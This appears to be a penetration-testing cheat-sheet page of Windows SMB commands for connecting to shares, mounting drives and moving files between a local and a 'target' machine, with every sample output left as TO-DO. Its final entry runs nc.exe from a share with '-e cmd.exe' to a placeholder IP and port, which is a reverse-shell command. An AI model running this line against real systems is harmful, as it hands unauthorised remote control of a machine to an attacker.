Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
# Connect to SMB server without creds
net use \\<LOCAL_IP>\share
Sample Output:
TO-DO
# Connect to SMB server with server name
net use \\<SERVER_NAME>\share
Sample Output:
TO-DO
# Connect to SMB server with creds
net use \\<LOCAL_IP>\share /u:<USER> '<PASSWORD>'
Sample Output:
TO-DO
# Mount to a drive with creds
net use X: \\<LOCAL_IP>\share /u:<USER> '<PASSWORD>'
Sample Output:
TO-DO
# From local Windows to target Windows
copy <FILE> \\<LOCAL_IP>\share
Sample Output:
TO-DO
# From target Windows to local Windows
copy \\<LOCAL_IP>\share\<FILE> <FILE>
Sample Output:
TO-DO
# Delete file
del <FILE>
Sample Output:
TO-DO
# Remove SMB share
net use /d \\<LOCAL_IP>\share
Sample Output:
TO-DO
# Remove drive
net use /d X:
Sample Output:
TO-DO
# Older Windows (e.g. xp), use directly
\\<LOCAL_IP>\share\nc.exe -e cmd.exe <LOCAL_IP> <LOCAL_PORT>
Sample Output:
TO-DO